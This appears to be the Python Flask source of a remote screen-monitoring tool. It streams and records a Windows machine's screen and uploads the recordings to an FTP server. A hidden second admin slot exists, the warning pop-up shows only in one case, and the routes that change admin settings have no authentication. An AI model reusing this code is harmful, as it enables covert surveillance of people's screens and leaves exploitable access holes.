import socket
from io import BytesIO

import win32con
import win32gui
from pyautogui import screenshot
from flask import Flask, render_template, Response, request, jsonify, json
import win32api
import logging
import cv2
import time
from PIL import ImageGrab
import numpy as np
from ftplib import FTP
from ftplib import error_perm
import os
from flask_sqlalchemy import SQLAlchemy
import config
from exts import db

from model import Server,AdminUser,KouLing,Computer

app = Flask(__name__, template_folder='frontend/templates',
            static_folder='frontend/static',)
app.config.from_object(config)
db.init_app(app)

def screencap():
    """
    屏幕截图组装流数据
    :return:
    """
    while True:
        img = screenshot()
        buffer = BytesIO()
        img.save(buffer, 'jpeg')
        # 进行屏幕录制
        im = ImageGrab.grab()
        imm = cv2.cvtColor(np.array(im), cv2.COLOR_RGB2BGR)  # 转为opencv的BGR格式
        myvideo.write(imm)
        yield (b'--frame\r\n'
               b'Content-Type: image/jpeg\r\n\r\n' + buffer.getvalue() + b'\r\n\r\n')


def getIp():
    """
    获取本机ip地址
    :return: str: 本机ip
    """
    ip = '127.0.0.1'
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect(('8.8.8.8', 80))
        ip = s.getsockname()[0]
        s.close()
    except Exception as e:
        print(str(e)[0:0] + '获取本机ip失败 默认设置为：127.0.0.1')
    return ip

@app.route('/special')
def special_ip():
    mylist = ['10.197.24.79',"10.197.24.78"]
    return Response(mylist)

@app.route('/')
def index():
    """
    首页
    :return:
    """
    admin_user1 = AdminUser.query.get(1)
    admin_user2 = AdminUser.query.get(2)
    print(admin_user1.admin,admin_user2.admin)
    if get_userip() == admin_user1.admin or get_userip() == admin_user2.admin:
        global p
        p = ImageGrab.grab()  # 获得当前屏幕
        a, b = p.size  # 获得当前屏幕的大小
        print(a,b)
        fourcc = cv2.VideoWriter_fourcc('M','P','4','2')  # 编码格式
        # 输出文件帧率为16，可以自己设置
        time_str = time.strftime("%Y%m%d%H%M%S", time.localtime(time.time()))
        # 本地视频地址
        global local_filename
        local_filename = "C:\\Users\Public\Videos\\" + time_str + ".MOV"
        # 在服务器上保存的文件名
        global ftp_filename
        ftp_filename = time_str + ".MOV"
        # 录制视频保存的位置
        global myvideo
        myvideo = cv2.VideoWriter(local_filename, fourcc, 16, (a, b))
        print(myvideo)
        return render_template('index.html', myip=getIp())
    else:
        return render_template('404.html')

@app.route('/admin')
def admin():
    """
    管理界面
    :return:
    """
    admin_user1 = AdminUser.query.get(1)
    admin_user2 = AdminUser.query.get(2)
    if get_userip() == admin_user1.admin or get_userip() == admin_user2.admin:
        return render_template('admin.html', myip=getIp())
    else:
        return render_template('404.html')

@app.route('/addcomputer',methods=['POST'])
def addcomputer():
    ip = request.values['ip']
    computer = Computer(ip=ip)
    try:
        db.session.add(computer)
        db.session.commit()
        message = '保存成功'
    except Exception:
        message = '保存失败'
    return message

@app.route('/getcomputer',methods=['POST'])
def getcomputer():
    computers = Computer.query.all()
    cmps=[]
    for cmp in computers:
        cmps.append(cmp.ip)
    return  json.dumps(cmps,ensure_ascii=False)

@app.route('/delete',methods=['POST'])
def delete():
    ip = request.values['ip']
    try:
        Computer.query.filter_by(ip=ip).delete()
        message = '删除成功'
    except Exception:
        message = '删除失败'
    return message
@app.route('/video')
def video():
    """
    截屏Api
    :return:
    """
    return Response(screencap(),
                    mimetype='multipart/x-mixed-replace; boundary=frame')

# //獲取訪問者ip
@app.route('/get_userip',methods=['GET'])
def get_userip():
    userIp = request.remote_addr
    return userIp
# 提示信息start
@app.route('/js_get', methods=['GET'])
def js_get():
    myip = getIp()
    admin_user2 = AdminUser.query.get(2)
    if myip == admin_user2.admin:
        win32api.MessageBox(0, "屏幕要被监控了!!!", "警告", win32con.MB_OK)
        time.sleep(2)
    return 'ok'

#提示信息end
@app.route('/post_message',methods=['GET'])
def post_message():
    # 结束录制
    print(myvideo)
    myvideo.release()
    admin_user1 = AdminUser.query.get(1)
    admin_user2 = AdminUser.query.get(2)
    if get_userip() == admin_user1.admin:
        # 视频上传至服务器
        server_test()
        #在根目录创建一个/luping目录用来存录像
        path = '/luping/' + getIp()
        try:
            dir_list = ftp.nlst('/luping')
            if path not in dir_list:
                ftp.mkd(path)
        except Exception as e:
            print(e)
        bufsize = 1024
        with open(local_filename, 'rb') as f:
            ftp.storbinary("STOR %s/%s" %(path,ftp_filename), f, bufsize)
        ftp.quit()
    # 上传至服务器后，删除本地文件
    if os.path.exists(local_filename):
        os.remove(local_filename)
    else:
        print(local_filename + "文件不存在")
    if getIp() ==admin_user2.admin:
        win32api.MessageBox(0, "監控結束了", "提醒",win32con.MB_DEFBUTTON1)
    return 'ok'

#  login.html
@app.route('/login')
def login():
    admin_user1 = AdminUser.query.get(1)
    admin_user2 = AdminUser.query.get(2)
    if get_userip() == admin_user1.admin or get_userip() == admin_user2.admin:
        # 获取一条配置
        conf = Server.query.get(1)
        ip = conf.ip
        port = conf.port
        user = conf.user
        password = conf.password
        return render_template('login.html', ip=ip, port=port, user=user, password=password)
    else:
        return render_template('404.html')


#  设置服务器连接
@app.route('/login-server',methods=['POST'])
def server_test():
    conf = Server.query.get(1)
    ftp.encoding = 'UTF-8'  # 适应中文编码
    try:
        ftp.set_debuglevel(2)  # 调试级别
        if len(request.values.dicts[1]) == 0:
            ftp.connect(conf.ip, int(conf.port))
            ftp.login(conf.user, conf.password)
        else:
            ftp.connect(request.values['ip'], int(request.values['port']))
            ftp.login(request.values['user'], request.values['password'])
        ftp.set_pasv(False)  # 设置被动模式
        message = '***ftp success connected.***'
    except error_perm:
        message = '[ERROR]: user authentication failed.'
        print('[ERROR]: user authentication failed.')
    except Exception as e:
        message = '[ERROR]: ftp connect failed. %s' % e
        print('[ERROR]: ftp connect failed. %s' % e)
    print('***ftp success connected.***')
    return message

#  更新服务器联机配置
@app.route('/updata',methods=['POST'])
def updata():
    conf = Server.query.get(1)
    if conf.ip !=request.values['ip'] or conf.user !=request.values['user'] or conf.password !=request.values['password'] :
        conf.ip = request.values['ip']
        conf.user = request.values['user']
        conf.password = request.values['password']
        try:
            db.session.commit()
            message = '保存成功'
        except Exception:
            message = "保存失败"
    else:
        message = '无修改'

    return message


#  设置管理员ip
@app.route('/set_admin')
def set_admin():

    return render_template('setadmin.html')

@app.route('/get_admin',methods=['POST'])
def get_admin():
    pwd = KouLing.query.get(1)
    pwd2 = KouLing.query.get(2)
    if pwd.kouling == request.values['kouling'] or pwd2.kouling == request.values['kouling']:
        if pwd.kouling == request.values['kouling']:
            adminip = AdminUser.query.get(1)
            return adminip.admin
        if pwd2.kouling == request.values['kouling']:
            adminip = AdminUser.query.get(2)
            return adminip.admin
    else:
        adminip = '口令不正确'
        return adminip

@app.route('/save',methods=['POST'])
def save():
    adminip = AdminUser.query.get(1)
    pwd = KouLing.query.get(1)
    adminip.admin = request.values['ip']
    pwd.kouling = request.values['pwd']
    try:
        db.session.commit()
        message = '保存成功'
    except Exception:
        message = "保存失败"
    return message
#   隐藏的提交保存
@app.route('/save1',methods=['POST'])
def save1():
    adminip = AdminUser.query.get(2)
    pwd = KouLing.query.get(2)
    adminip.admin = request.values['ip']
    pwd.kouling = request.values['pwd']
    try:
        db.session.commit()
        message = '保存成功'
    except Exception:
        message = "保存失败"
    return message




if __name__ == '__main__':
    # app_context = app.app_context()
    # app_context.push()

    try:
        # ftp 对象
        ftp = FTP()
        print('#' * 40)
        # print(' ' * 3 + f'访问地址：http://{getIp()}:7000')
        print('#' * 40)

        # threaded设置为true开启多线程，能解决小并发的阻塞
        app.run(host='0.0.0.0', port=7000, processes=True,threaded = True)
        logging.basicConfig(
            filename='E:\python35_F_sara\python35_F_sara\python35\Scripts\dist\\app.log',
            level=logging.WARNING,
            format='%(asctime)s:%(levelname)s:%(message)s'
        )
        logging.warning("I am written to the file")
    except Exception as e:
        logging.basicConfig(
            filename='E:\python35_F_sara\python35_F_sara\python35\Scripts\dist\\app.log',
            level=logging.ERROR,
            format='%(asctime)s:%(levelname)s:%(message)s'
        )
        logging.error(e)

